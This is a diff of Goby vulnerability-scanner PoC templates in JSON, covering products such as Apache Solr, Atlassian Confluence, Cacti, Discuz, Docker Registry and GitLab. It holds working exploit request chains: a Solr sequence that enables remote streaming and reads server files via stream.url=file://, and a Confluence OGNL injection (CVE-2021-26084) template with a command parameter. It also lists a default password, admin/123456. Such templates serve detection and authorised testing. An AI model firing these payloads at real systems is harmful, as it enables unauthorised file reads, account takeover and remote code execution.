"operation": "contains",
"value": "responseHeader",
"bz": ""
}
]
},
"SetVariable": []
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/solr/admin/cores?indexInfo=false&wt=json",
"follow_redirect": false,
"header": {},
"data_type": "text",
"data": ""
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "responseHeader",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"name\":\"(.*?)\","
]
},
{
"Request": {
"method": "POST",
"set_variable":["solrCore|lastbody|regex|(?s)\"name\":\"(.*?)\","],
"uri": "/solr/{{{solrCore}}}/config",
"follow_redirect": false,
"header": {
"Content-Type": "application/json"
},
"data_type": "text",
"data": "{\"set-property\" : {\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/solr/{{{solrCore}}}/debug/dump?param=ContentStreams",
"follow_redirect": false,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "stream.url=file://{{{file}}}"
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|(?s)\"stream\":\"(.*)\"}]"
]
}
],
"PostTime": "2021-03-27 17:17:15",
"GobyVersion": "1.8.254"
}

View File

@ -5,11 +5,11 @@
"infoleak"
],
"GobyQuery": "app=\"ASPCMS\"",
"Description": "aspCMS is a module based ASP Content Management System (CMS).",
"Description": "aspcms /plug/oem/AspCms_OEMFun.asp leak backend url",
"Product": "ASPCMS",
"Homepage": "",
"Author": "",
"Impact": "aspcms /plug/oem/AspCms_OEMFun.asp leak backend url.",
"Homepage": "https://gobies.org/",
"Author": "aetkrad",
"Impact": "<p>leak backend url<br></p>",
"Recommendation": "",
"References": [],
"HasExp": true,
@ -126,6 +126,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-02 20:50:45",
"GobyVersion": "1.8.302"
}

View File

@ -1,32 +1,25 @@
{
"Name": "Atlassian Confluence OGNL Injection CVE-2021-26084",
"Name": "Atlassian Confluence OGNL injection CVE-2021-26084",
"Level": "3",
"Tags": [
"sqli"
"rce"
],
"GobyQuery": "app=\"Confluence\" || product=\"Confluence\" || company=\"Atlassian\"",
"Description": "Confluence is Atlassian's professional enterprise knowledge management and collaboration software, which can also be used to build enterprise wikis.",
"GobyQuery": "app=\"Confluence\"",
"Description": "Confluence is Atlassian's professional enterprise knowledge management and collaboration software, which can also be used to build enterprise wikis. Therefore, Confluence is widely used. In some cases, unauthorized attackers can construct special requests that cause remote code execution.",
"Product": "Atlassian Confluence",
"Homepage": "https://www.atlassian.com",
"Author": "",
"Impact": "In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5.",
"Recommendation": "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html",
"Author": "luckying1314@139.com",
"Impact": "<p>An OGNL injection vulnerability exists that would allow an authenticated user, and in some instances unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance.<br></p>",
"Recommendation": "<p>General repair suggestions:</p><p>Check and upgrade to the secure version based on the information in the affected version. The official download link is <a href>https://www.atlassian.com/software/confluence/download-archives</a></p><p>Temporary repair suggestions:</p><p>If you are not ready to update the Confluence, please refer to the official notification calling for Mitigation for Linux and Windows operating systems.<a href>https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html</a></p>",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-26084",
"https://jira.atlassian.com/browse/CONFSERVER-67940",
"https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html"
"https://github.com/alt3kx/CVE-2021-26084_PoC"
],
"HasExp": true,
"ExpParams": [
{
"Name": "Command",
"Name": "command",
"Type": "input",
"Value": "whoami"
},
{
"Name": "Path",
"Type": "select",
"Value": "/pages/createpage-entervariables.action?SpaceKey=x,/pages/createpage-entervariables.action,/confluence/pages/createpage-entervariables.action?SpaceKey=x,/confluence/pages/createpage-entervariables.action,/wiki/pages/createpage-entervariables.action?SpaceKey=x,/wiki/pages/createpage-entervariables.action,/pages/doenterpagevariables.action,/pages/createpage.action?spaceKey=myproj,/pages/templates2/viewpagetemplate.action,/pages/createpage-entervariables.action,/template/custom/content-editor,/templates/editor-preload-container,/users/user-dark-features"
}
],
"ExpTips": {
@ -34,7 +27,7 @@
"Content": ""
},
"ScanSteps": [
"OR",
"AND",
{
"Request": {
"method": "POST",
@ -44,8 +37,12 @@
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
"data": "queryString=aaaaaaaa%5Cu0027%2B%7B{{{r1}}}%2B{{{r2}}}%7D%2B%5Cu0027",
"set_variable": [
"r1|rand|int|8",
"r2|rand|int|7",
"r4|r1|add|r2"
]
},
"ResponseTest": {
"type": "group",
@ -62,420 +59,14 @@
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"value": "{{{r4}}}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/pages/createpage-entervariables.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/confluence/pages/createpage-entervariables.action?SpaceKey=x",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/confluence/pages/createpage-entervariables.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/wiki/pages/createpage-entervariables.action?SpaceKey=x",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/wiki/pages/createpage-entervariables.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/pages/doenterpagevariables.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/pages/createpage.action?spaceKey=myproj",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/pages/templates2/viewpagetemplate.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/pages/createpage-entervariables.action",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/template/custom/content-editor",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/templates/editor-preload-container",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
},
{
"Request": {
"method": "POST",
"uri": "/users/user-dark-features",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
},
"data_type": "text",
"data": "queryString=aaaa\\u0027%2b#{16*8787}%2b\\u0027bbb",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "value=\"aaaa{140592=null}",
"bz": ""
}
]
},
"SetVariable": []
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"ExploitSteps": [
@ -483,7 +74,7 @@
{
"Request": {
"method": "POST",
"uri": "{{{Path}}}",
"uri": "/pages/createpage-entervariables.action?SpaceKey=x",
"follow_redirect": true,
"header": {
"Content-Type": "application/x-www-form-urlencoded"
@ -510,6 +101,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-09-03 11:27:04",
"GobyVersion": "1.8.300"
}

View File

@ -4,12 +4,12 @@
"Tags": [
"getshell"
],
"GobyQuery": "app=\"cacti-监控系统\" || title=\"Login to Cacti\" || app=\"Cactiez\"",
"Description": "Cacti provides a robust and extensible operational monitoring and fault management framework for users around the world. Is also a complete network graphing solution designed to harness the power of RRDTool's data storage and graphing functionality.",
"Product": "cacti",
"GobyQuery": "(app=\"cacti-监控系统\"|title=\"Login to Cacti\"|app=\"Cactiez\")",
"Description": "allows remote attackers to upload and execute arbitrary files",
"Product": "cacti-监控系统",
"Homepage": "https://www.cacti.net/",
"Author": "",
"Impact": "Remote attacker can use to replace web application files with malicious code and perform remote code execution on the system.",
"Author": "aetkrad",
"Impact": "<p>Remote attacker can use to replace web application files with malicious code and perform remote code execution on the system.<br></p>",
"Recommendation": "",
"References": [],
"HasExp": true,
@ -121,6 +121,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-05 13:30:24",
"GobyVersion": "1.8.302"
}

View File

@ -4,17 +4,17 @@
"Tags": [
"sqli"
],
"GobyQuery": "banner=\"X-Clickhouse-Summary\" || port=\"8123\"",
"Description": "ClickHouse is an open-source column-oriented DBMS for online analytical processing that allows users to generate analytical reports using SQL queries in real-time.",
"GobyQuery": "(banner=\"X-Clickhouse-Summary\" | port=\"8123\")",
"Description": "ClickHouse 存在着的接口由于没有鉴权则任意访问者都可以执行SQL语句获取数据.",
"Product": "ClickHouse",
"Homepage": "https://clickhouse.com/",
"Author": "",
"Impact": "Clickhouse has unauthorized access and can perform SQL statements to get data.",
"Homepage": "https://gobies.org/",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/xIc3Ic7N104iTogZul1LJA"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -98,43 +98,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-04 18:32:14",
"GobyVersion": "1.9.310"
}

View File

@ -5,16 +5,16 @@
"rce"
],
"GobyQuery": "protocol=\"consul(http)\"",
"Description": "Consul is the control plane of the service mesh. Consul is a multi-networking tool that offers a fully-featured service mesh solution that solves the networking and security challenges of operating microservices and cloud infrastructure.",
"Description": "Under a specific configuration, a malicious attacker can remotely execute commands on the Consul server without authorization by sending a carefully constructed HTTP request",
"Product": "Consul",
"Homepage": "https://www.consul.io/",
"Author": "",
"Impact": "Under a specific configuration, a malicious attacker can remotely execute commands on the Consul server without authorization by sending a carefully constructed HTTP request.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://www.exploit-db.com/exploits/46073"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -57,43 +57,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-08 21:46:25",
"GobyVersion": "1.8.302"
}

View File

@ -4,12 +4,12 @@
"Tags": [
"defaultaccount"
],
"GobyQuery": "app=\"大唐电信AC集中管理平台\" || title=\"大唐电信AC集中管理平台\"",
"Description": "",
"Product": "Datang Telecom AC centralized management platform",
"GobyQuery": "(app=\"大唐电信AC集中管理平台\" | title=\"大唐电信AC集中管理平台\")",
"Description": "大唐AC集中管理平台默认密码admin/123456",
"Product": "大唐电信AC集中管理平台",
"Homepage": "http://www.datang.com/",
"Author": "",
"Impact": "Datang AC centralized management platform default password admin/123456",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [],
"HasExp": true,
@ -99,6 +99,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-12 19:44:34",
"GobyVersion": "1.8.302"
}

View File

@ -5,16 +5,16 @@
"FileInclude"
],
"GobyQuery": "app=\"DedeCMS\"",
"Description": "Dream Weaving (DedeCMS) Official Website- Content Management System- Shanghai Zhuozhuo Network Technology Co., Ltd.",
"Description": "DedeCMS Carbuyaction.php页面存在本地文件包含漏洞",
"Product": "DedeCMS",
"Homepage": "http://www.dedecms.com/",
"Author": "",
"Impact": "DedeCMS Carbuyaction.php has a local file inclusion vulnerability.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://www.cnblogs.com/milantgh/p/3615986.html"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -88,43 +88,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-13 14:18:50",
"GobyVersion": "1.8.302"
}

View File

@ -4,17 +4,17 @@
"Tags": [
"rce"
],
"GobyQuery": "app=\"Discuz\" || body=\"Powered by Discuz!\"",
"Description": "Discuz! is Internet forum software written in PHP and developed by Comsenz Technology Co., Ltd. It supports MySQL and PostgreSQL databases.",
"Product": "Discuz!",
"GobyQuery": "(app=\"Discuz\" | body=\"Powered by Discuz!\")",
"Description": "由于php5.3.x版本里php.ini的设置里request_order默认值为GP导致$_REQUEST中不再包含$_COOKIE我们通过在Cookie中传入$GLOBALS来覆盖全局变量造成代码执行漏洞。",
"Product": "discuz",
"Homepage": "https://www.discuz.net/",
"Author": "",
"Impact": "Since the default value of request_order in the php.ini setting in php5.3.x version is GP, $_COOKIE is no longer included in $_REQUEST. We overwrite the global variable by passing in $GLOBALS in the cookie, resulting in a code execution vulnerability.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://github.com/vulhub/vulhub/tree/master/discuz/wooyun-2010-080723"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -66,43 +66,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-17 13:57:54",
"GobyVersion": "1.8.302"
}

View File

@ -4,17 +4,17 @@
"Tags": [
"unauth"
],
"GobyQuery": "app=\"Discuz\" || body=\"Powered by Discuz!\"",
"Description": "Discuz! is Internet forum software written in PHP and developed by Comsenz Technology Co., Ltd. It supports MySQL and PostgreSQL databases.",
"Product": "Discuz!",
"GobyQuery": "(app=\"Discuz\" | body=\"Powered by Discuz!\")",
"Description": "由Discuz论坛官方微信登录插件产生攻击者可以利用该插件的漏洞绕过论坛的邮箱、手机号等各种验证非法创建论坛账号通过该漏洞创建的论坛账号具备一般用户的所有权限可以任意发帖回帖.",
"Product": "discuz",
"Homepage": "https://www.discuz.net/",
"Author": "",
"Impact": "Generated by the official WeChat login plug-in of Discuz Forum, attackers can use the vulnerability of this plug-in to bypass the forum's mailbox, mobile phone number and other verifications to illegally create a forum account. The forum account created through this vulnerability has all the permissions of ordinary users and can be arbitrarily Post a reply.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://gitee.com/ComsenzDiscuz/DiscuzX/issues/IPRUI"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -78,43 +78,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-17 13:52:51",
"GobyVersion": "1.8.302"
}

View File

@ -4,17 +4,17 @@
"Tags": [
"sqli"
],
"GobyQuery": "app=\"Discuz\" || body=\"Powered by Discuz!\"",
"Description": "Discuz! is Internet forum software written in PHP and developed by Comsenz Technology Co., Ltd. It supports MySQL and PostgreSQL databases.",
"Product": "Discuz!",
"GobyQuery": "(app=\"Discuz\" | body=\"Powered by Discuz!\")",
"Description": "discuz7.2论坛存在sql注入漏洞",
"Product": "Discuz",
"Homepage": "https://www.discuz.net/",
"Author": "",
"Impact": "Discuz7.2 has sql injection vulnerability.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://blog.csdn.net/weixin_40709439/article/details/82780606"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -64,43 +64,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-16 17:48:16",
"GobyVersion": "1.8.302"
}

View File

@ -1,20 +1,20 @@
{
"Name": "Docker Registry API Unauth",
"Level": "1",
"Level": "2",
"Tags": [
"unauth"
],
"GobyQuery": "header=\"registry/2.0\"",
"Description": "Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called containers.",
"Description": "Docker Registry API 存在未授权访问漏洞黑客可通过API下载docker images导致敏感信息泄露。",
"Product": "Docker Registry",
"Homepage": "https://docs.docker.com/registry/",
"Author": "",
"Impact": "There is an unauthorized access vulnerability in the Docker Registry API. Docker images can be downloaded through the API, resulting in the disclosure of sensitive information.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://www.freeaihub.com/post/6085.html"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -98,43 +98,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-11-27 14:21:33",
"GobyVersion": "1.9.310"
}

View File

@ -1,15 +1,15 @@
{
"Name": "Fastmeeting Arbitrary File Read",
"Name": "好视通云会议存在任意文件读取漏洞",
"Level": "2",
"Tags": [
"fileread"
],
"GobyQuery": "body=\"深圳银澎云计算有限公司\"",
"Description": "hst",
"Product": "hst",
"Description": "好视通云会议存在任意文件读取漏洞",
"Product": "好视通云会议",
"Homepage": "https://www.hst.com/",
"Author": "",
"Impact": "Fastmeeting Arbitrary File Read",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://mp.weixin.qq.com/s/fMNE1PF5n81O1BpoDRlYkA"
@ -100,6 +100,6 @@
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-11 14:50:39",
"GobyVersion": "1.9.310"
}

View File

@ -5,16 +5,16 @@
"overwrite"
],
"GobyQuery": "app=\"fanruansem-FineReport\"",
"Description": "FineReport is an web reporting tool.",
"Product": "fanruan-FineReport",
"Description": "由于在初始化svg文件时未对传入的参数做限制导致可以对已存在的文件覆盖写入数据从而通过将木马写入jsp文件中获取服务器权限",
"Product": "帆软-FineReport",
"Homepage": "https://www.fanruan.com/",
"Author": "",
"Impact": "Since there is no restriction on the incoming parameters when initializing the svg file, data can be overwritten to the existing file, so that the server permission can be obtained by writing the Trojan into the jsp file.",
"Author": "aetkrad",
"Impact": "",
"Recommendation": "",
"References": [
"https://github.com/NHPT/WebReportV9Exp/blob/main/WebReport_Exp.py"
],
"HasExp": true,
"HasExp": false,
"ExpParams": null,
"ExpTips": {
"Type": "",
@ -88,43 +88,6 @@
]
}
],
"ExploitSteps": [
"AND",
{
"Request": {
"method": "GET",
"uri": "/test.php",
"follow_redirect": true,
"header": null,
"data_type": "text",
"data": "",
"set_variable": []
},
"ResponseTest": {
"type": "group",
"operation": "AND",
"checks": [
{
"type": "item",
"variable": "$code",
"operation": "==",
"value": "200",
"bz": ""
},
{
"type": "item",
"variable": "$body",
"operation": "contains",
"value": "test",
"bz": ""
}
]
},
"SetVariable": [
"output|lastbody|regex|"
]
}
],
"PostTime": "0000-00-00 00:00:00",
"GobyVersion": "0.0.0"
"PostTime": "2021-12-08 11:22:44",
"GobyVersion": "1.9.310"
}

View File

@ -1,35 +1,26 @@
{
"Name": "GitLab SSRF CVE-2021-22214",
"Level": "3",
"Tags": [
"SSRF"
],
"Tags": [],
"GobyQuery": "app=\"GitLab\"",
"Description": "GitLab is The DevOps Platform.",
"Product": "GitLab",
"Homepage": "https://about.gitlab.com/",
"Author": "",
"Impact": "When requests to the internal network for webhooks are enabled, a server-side request forgery vulnerability in GitLab CE/EE affecting all versions starting from 10.5 was possible to exploit for an unauthenticated attacker even on a GitLab instance where registration is limited.",
"Recommendation": "",
"Description": "GitLab存在前台未授权SSRF漏洞未授权的攻击者也可以利用该漏洞执行SSRF攻击CVE-2021-22214。该漏洞源于对用户提供数据的验证不足远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。",
"Product": "Gitlab > 10.5",
"Homepage": "https://gobies.org/",
"Author": "luckying",
"Impact": "",
"Recommandation": "",
"References": [
"https://nvd.nist.gov/vuln/detail/CVE-2021-22214",
"https://nvd.nist.gov/vuln/detail/CVE-2021-39935",
"https://nvd.nist.gov/vuln/detail/CVE-2021-22175",
"https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html",
"https://docs.gitlab.com/ee/api/lint.html"
"https://gobies.org/"
],
"HasExp": true,
"ExpParams": [
{
"Name": "URL",
"Type": "input",
"Value": "test.dnslog.cn"
}
],
"ExpTips": {
"Type": "",
"Content": ""
},
"HasExp": true,
"ExpParams": [
{
"name": "URL",
"type": "input",
"value": "test.dnslog.cn",
"show": ""
}
],
"ScanSteps": [
"AND",
{
@ -39,7 +30,8 @@
"follow_redirect": false,
"header": {
"Content-Type": "application/json",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Content-Length": ""
},
"data_type": "text",
